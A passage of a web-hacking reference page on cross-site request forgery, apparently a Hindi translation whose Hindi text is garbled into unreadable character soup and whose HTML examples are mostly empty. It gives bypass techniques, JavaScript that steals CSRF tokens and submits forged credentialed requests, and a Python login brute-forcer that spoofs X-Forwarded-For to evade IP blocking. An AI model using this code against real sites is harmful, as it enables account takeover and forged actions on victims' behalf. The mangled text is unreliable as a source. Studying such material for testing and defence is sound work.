рдЬрдм POST рдЕрдиреБрд░реЛрдз рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ JSON рдбреЗрдЯрд╛ рднреЗрдЬрдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ HTML рдлреЙрд░реНрдо рдореЗрдВ `Content-Type: application/json` рдХрд╛ рдЙрдкрдпреЛрдЧ рд╕реАрдзреЗ рд╕рдВрднрд╡ рдирд╣реАрдВ рд╣реИред рдЗрд╕реА рддрд░рд╣, рдЗрд╕ рд╕рд╛рдордЧреНрд░реА рдкреНрд░рдХрд╛рд░ рдХреЛ рднреЗрдЬрдиреЗ рдХреЗ рд▓рд┐рдП `XMLHttpRequest` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рд╕реЗ рдПрдХ рдкреНрд░реАрдлреНрд▓рд╛рдЗрдЯ рдЕрдиреБрд░реЛрдз рд╢реБрд░реВ рд╣реЛрддрд╛ рд╣реИред рдлрд┐рд░ рднреА, рдЗрд╕ рд╕реАрдорд╛ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдФрд░ рдпрд╣ рдЬрд╛рдВрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рд░рдгрдиреАрддрд┐рдпрд╛рдБ рд╣реИрдВ рдХрд┐ рдХреНрдпрд╛ рд╕рд░реНрд╡рд░ рд╕рд╛рдордЧреНрд░реА рдкреНрд░рдХрд╛рд░ рдХреА рдкрд░рд╡рд╛рд╣ рдХрд┐рдП рдмрд┐рдирд╛ JSON рдбреЗрдЯрд╛ рдХреЛ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд░рддрд╛ рд╣реИ:
1. **рд╡реИрдХрд▓реНрдкрд┐рдХ рд╕рд╛рдордЧреНрд░реА рдкреНрд░рдХрд╛рд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ**: рдлреЙрд░реНрдо рдореЗрдВ `enctype="text/plain"` рд╕реЗрдЯ рдХрд░рдХреЗ `Content-Type: text/plain` рдпрд╛ `Content-Type: application/x-www-form-urlencoded` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред рдпрд╣ рджреГрд╖реНрдЯрд┐рдХреЛрдг рдкрд░реАрдХреНрд╖рдг рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдХреНрдпрд╛ рдмреИрдХрдПрдВрдб рдбреЗрдЯрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рдЪрд╛рд╣реЗ рд╕рд╛рдордЧреНрд░реА рдкреНрд░рдХрд╛рд░ рдХреБрдЫ рднреА рд╣реЛред
2. **рд╕рд╛рдордЧреНрд░реА рдкреНрд░рдХрд╛рд░ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░реЗрдВ**: рдкреНрд░реАрдлреНрд▓рд╛рдЗрдЯ рдЕрдиреБрд░реЛрдз рд╕реЗ рдмрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдЬрдмрдХрд┐ рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддреЗ рд╣реБрдП рдХрд┐ рд╕рд░реНрд╡рд░ рд╕рд╛рдордЧреНрд░реА рдХреЛ JSON рдХреЗ рд░реВрдк рдореЗрдВ рдкрд╣рдЪрд╛рдирддрд╛ рд╣реИ, рдЖрдк рдбреЗрдЯрд╛ рдХреЛ `Content-Type: text/plain; application/json` рдХреЗ рд╕рд╛рде рднреЗрдЬ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╣ рдкреНрд░реАрдлреНрд▓рд╛рдЗрдЯ рдЕрдиреБрд░реЛрдз рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИ рд▓реЗрдХрд┐рди рдпрджрд┐ рд╕рд░реНрд╡рд░ рдХреЛ `application/json` рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рддреЛ рдЗрд╕реЗ рд╕рд╣реА рдврдВрдЧ рд╕реЗ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
3. **SWF рдлреНрд▓реИрд╢ рдлрд╝рд╛рдЗрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ**: рдПрдХ рдХрдо рд╕рд╛рдорд╛рдиреНрдп рд▓реЗрдХрд┐рди рд╕рдВрднрд╡ рд╡рд┐рдзрд┐ рдореЗрдВ рдРрд╕реЗ рдкреНрд░рддрд┐рдмрдВрдзреЛрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП SWF рдлреНрд▓реИрд╢ рдлрд╝рд╛рдЗрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИред рдЗрд╕ рддрдХрдиреАрдХ рдХреА рдЧрд╣рди рд╕рдордЭ рдХреЗ рд▓рд┐рдП, [рдЗрд╕ рдкреЛрд╕реНрдЯ](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937) рдХреЛ рджреЗрдЦреЗрдВред
### рд░реЗрдлрд░рд░ / рдореВрд▓ рдЬрд╛рдВрдЪ рдмрд╛рдпрдкрд╛рд╕
**рд░реЗрдлрд░рд░ рд╣реЗрдбрд░ рд╕реЗ рдмрдЪреЗрдВ**
рдРрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗрд╡рд▓ рддрдм 'Referer' рд╣реЗрдбрд░ рдХреЛ рдорд╛рдиреНрдп рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬрдм рдпрд╣ рдореМрдЬреВрдж рд╣реЛред рдЗрд╕ рд╣реЗрдбрд░ рдХреЛ рднреЗрдЬрдиреЗ рд╕реЗ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд HTML рдореЗрдЯрд╛ рдЯреИрдЧ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:
```xml
```
рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ 'Referer' рд╣реЗрдбрд░ рдХреЛ рдЫреЛрдбрд╝ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдХреБрдЫ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдореЗрдВ рдорд╛рдиреНрдпрддрд╛ рдЬрд╛рдВрдЪреЛрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
**Regexp рдмрд╛рдпрдкрд╛рд╕**
{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %}
[url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md)
{% endcontent-ref %}
Referrer рджреНрд╡рд╛рд░рд╛ рднреЗрдЬреЗ рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рдЕрдВрджрд░ URL рдореЗрдВ рд╕рд░реНрд╡рд░ рдХрд╛ рдбреЛрдореЗрди рдирд╛рдо рд╕реЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдк рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:
```html
```
### **HEAD рд╡рд┐рдзрд┐ рдмрд╛рдпрдкрд╛рд╕**
[**рдЗрд╕ CTF рд▓реЗрдЦ**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) рдХреЗ рдкрд╣рд▓реЗ рднрд╛рдЧ рдореЗрдВ рд╕рдордЭрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ [Oak рдХрд╛ рд╕реНрд░реЛрдд рдХреЛрдб](https://github.com/oakserver/oak/blob/main/router.ts#L281), рдПрдХ рд░рд╛рдЙрдЯрд░ рдХреЛ **HEAD рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ GET рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЗ рд░реВрдк рдореЗрдВ рд╕рдВрднрд╛рд▓рдиреЗ** рдХреЗ рд▓рд┐рдП рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рдХреЛрдИ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╢рд░реАрд░ рдирд╣реАрдВ рд╣реИ - рдПрдХ рд╕рд╛рдорд╛рдиреНрдп рд╕рдорд╛рдзрд╛рди рдЬреЛ Oak рдХреЗ рд▓рд┐рдП рдЕрджреНрд╡рд┐рддреАрдп рдирд╣реАрдВ рд╣реИред HEAD reqs рд╕реЗ рдирд┐рдкрдЯрдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╣реИрдВрдбрд▓рд░ рдХреЗ рдмрдЬрд╛рдп, рдЙрдиреНрд╣реЗрдВ рдмрд╕ **GET рд╣реИрдВрдбрд▓рд░ рдХреЛ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рд▓реЗрдХрд┐рди рдРрдк рдмрд╕ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╢рд░реАрд░ рдХреЛ рд╣рдЯрд╛ рджреЗрддрд╛ рд╣реИ**ред
рдЗрд╕рд▓рд┐рдП, рдпрджрд┐ GET рдЕрдиреБрд░реЛрдз рдХреЛ рд╕реАрдорд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ, рддреЛ рдЖрдк рдмрд╕ **рдПрдХ HEAD рдЕрдиреБрд░реЛрдз рднреЗрдЬ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рд╕реЗ GET рдЕрдиреБрд░реЛрдз рдХреЗ рд░реВрдк рдореЗрдВ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛**ред
## **рд╢реЛрд╖рдг рдЙрджрд╛рд╣рд░рдг**
### **CSRF рдЯреЛрдХрди рдирд┐рдХрд╛рд▓рдирд╛**
рдпрджрд┐ **CSRF рдЯреЛрдХрди** рдХреЛ **рд░рдХреНрд╖рд╛** рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ, рддреЛ рдЖрдк **рдЗрд╕реЗ рдирд┐рдХрд╛рд▓рдиреЗ** рдХреЗ рд▓рд┐рдП [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) рднреЗрджреНрдпрддрд╛ рдпрд╛ [**Dangling Markup**](dangling-markup-html-scriptless-injection/) рднреЗрджреНрдпрддрд╛ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
### **HTML рдЯреИрдЧ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ GET**
```xml
404 - Page not found
The URL you are requesting is no longer available
```
рдЕрдиреНрдп HTML5 рдЯреИрдЧ рдЬреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ GET рдЕрдиреБрд░реЛрдз рднреЗрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ:
```html
```
### рдлрд╝реЙрд░реНрдо GET рдЕрдиреБрд░реЛрдз
```html
```
### рдлрд╝реЙрд░реНрдо POST рдЕрдиреБрд░реЛрдз
```html
```
### iframe рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдлрд╝реЙрд░реНрдо POST рдЕрдиреБрд░реЛрдз
```html
```
### **Ajax POST рдЕрдиреБрд░реЛрдз**
```html
```
### multipart/form-data POST рдЕрдиреБрд░реЛрдз
```javascript
myFormData = new FormData();
var blob = new Blob([""], { type: "text/text"});
myFormData.append("newAttachment", blob, "pwned.php");
fetch("http://example/some/path", {
method: "post",
body: myFormData,
credentials: "include",
headers: {"Content-Type": "application/x-www-form-urlencoded"},
mode: "no-cors"
});
```
### multipart/form-data POST рдЕрдиреБрд░реЛрдз v2
```javascript
// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open("POST", url, true);
// MIME POST request.
xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
xhr.setRequestHeader("Content-Length", fileSize);
var body = "--" + boundary + "\r\n";
body += 'Content-Disposition: form-data; name="' + nameVar +'"; filename="' + fileName + '"\r\n';
body += "Content-Type: " + ctype + "\r\n\r\n";
body += fileData + "\r\n";
body += "--" + boundary + "--";
//xhr.send(body);
xhr.sendAsBinary(body);
```
### рдПрдХ iframe рдХреЗ рднреАрддрд░ Form POST рдЕрдиреБрд░реЛрдз
```html
<--! expl.html -->
Sitio bajo mantenimiento. Disculpe las molestias
```
### **CSRF рдЯреЛрдХрди рдЪреБрд░рд╛рдПрдВ рдФрд░ рдПрдХ POST рдЕрдиреБрд░реЛрдз рднреЗрдЬреЗрдВ**
```javascript
function submitFormWithTokenJS(token) {
var xhr = new XMLHttpRequest();
xhr.open("POST", POST_URL, true);
xhr.withCredentials = true;
// Send the proper header information along with the request
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
// This is for debugging and can be removed
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
//console.log(xhr.responseText);
}
}
xhr.send("token=" + token + "&otherparama=heyyyy");
}
function getTokenJS() {
var xhr = new XMLHttpRequest();
// This tels it to return it as a HTML document
xhr.responseType = "document";
xhr.withCredentials = true;
// true on the end of here makes the call asynchronous
xhr.open("GET", GET_URL, true);
xhr.onload = function (e) {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
// Get the document from the response
page = xhr.response
// Get the input element
input = page.getElementById("token");
// Show the token
//console.log("The token is: " + input.value);
// Use the token to submit the form
submitFormWithTokenJS(input.value);
}
};
// Make the request
xhr.send(null);
}
var GET_URL="http://google.com?param=VALUE"
var POST_URL="http://google.com?param=VALUE"
getTokenJS();
```
### **CSRF рдЯреЛрдХрди рдЪреБрд░рд╛рдПрдВ рдФрд░ iframe, рдПрдХ рдлреЙрд░реНрдо рдФрд░ Ajax рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдкреЛрд╕реНрдЯ рдЕрдиреБрд░реЛрдз рднреЗрдЬреЗрдВ**
```html
```
### **CSRF рдЯреЛрдХрди рдЪреБрд░рд╛рдПрдВ рдФрд░ рдПрдХ iframe рдФрд░ рдПрдХ рдлреЙрд░реНрдо рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ POST рдЕрдиреБрд░реЛрдз рднреЗрдЬреЗрдВ**
```html
```
### **рдЯреЛрдХрди рдЪреБрд░рд╛рдПрдВ рдФрд░ рдЗрд╕реЗ 2 iframes рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рднреЗрдЬреЗрдВ**
```html
```
### **POSTAjax рдХреЗ рд╕рд╛рде CSRF рдЯреЛрдХрди рдЪреБрд░рд╛рдПрдВ рдФрд░ рдПрдХ рдлреЙрд░реНрдо рдХреЗ рд╕рд╛рде рдкреЛрд╕реНрдЯ рднреЗрдЬреЗрдВ**
```html
```
### CSRF with Socket.IO
```html
```
## CSRF рд▓реЙрдЧрд┐рди рдмреНрд░реВрдЯ рдлреЛрд░реНрд╕
рдХреЛрдб рдХрд╛ рдЙрдкрдпреЛрдЧ CSRF рдЯреЛрдХрди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рд▓реЙрдЧрд┐рди рдлреЙрд░реНрдо рдХреЛ рдмреНрд░реВрдЯ рдлреЛрд░реНрд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ (рдпрд╣ рд╕рдВрднрд╛рд╡рд┐рдд IP рдмреНрд▓реИрдХрд▓рд┐рд╕реНрдЯрд┐рдВрдЧ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП X-Forwarded-For рд╣реЗрдбрд░ рдХрд╛ рднреА рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣рд╛ рд╣реИ):
```python
import request
import re
import random
URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"
def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie
def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True
with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())
```
## Tools
* [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe)
* [https://github.com/merttasci/csrf-poc-generator](https://github.com/merttasci/csrf-poc-generator)
## References
* [https://portswigger.net/web-security/csrf](https://portswigger.net/web-security/csrf)
* [https://portswigger.net/web-security/csrf/bypassing-token-validation](https://portswigger.net/web-security/csrf/bypassing-token-validation)
* [https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses](https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses)
* [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html)
тАЛ
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
**Hacking Insights**\
рд╣реИрдХрд┐рдВрдЧ рдХреА рд░реЛрдорд╛рдВрдЪрдХ рдФрд░ рдЪреБрдиреМрддрд┐рдпреЛрдВ рдореЗрдВ рдЧрд╣рд░рд╛рдИ рд╕реЗ рдЬрд╛рдиреЗ рд╡рд╛рд▓реА рд╕рд╛рдордЧреНрд░реА рдХреЗ рд╕рд╛рде рдЬреБрдбрд╝реЗрдВ
**Real-Time Hack News**\
рддреЗрдЬ-рддрд░реНрд░рд╛рд░ рд╣реИрдХрд┐рдВрдЧ рджреБрдирд┐рдпрд╛ рдХреЗ рд╕рд╛рде рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╕рдордп рдХреА рд╕рдорд╛рдЪрд╛рд░ рдФрд░ рдЕрдВрддрд░реНрджреГрд╖реНрдЯрд┐ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЕрджреНрдпрддрд┐рдд рд░рд╣реЗрдВ
**Latest Announcements**\
рдирд╡реАрдирддрдо рдмрдЧ рдмрд╛рдЙрдВрдЯреА рд▓реЙрдиреНрдЪ рдФрд░ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рдЕрдкрдбреЗрдЯ рдХреЗ рд╕рд╛рде рд╕реВрдЪрд┐рдд рд░рд╣реЗрдВ
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
{% hint style="success" %}
Learn & practice AWS Hacking: [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) \
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)** ](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** ЁЯТм [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** ЁЯРж [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}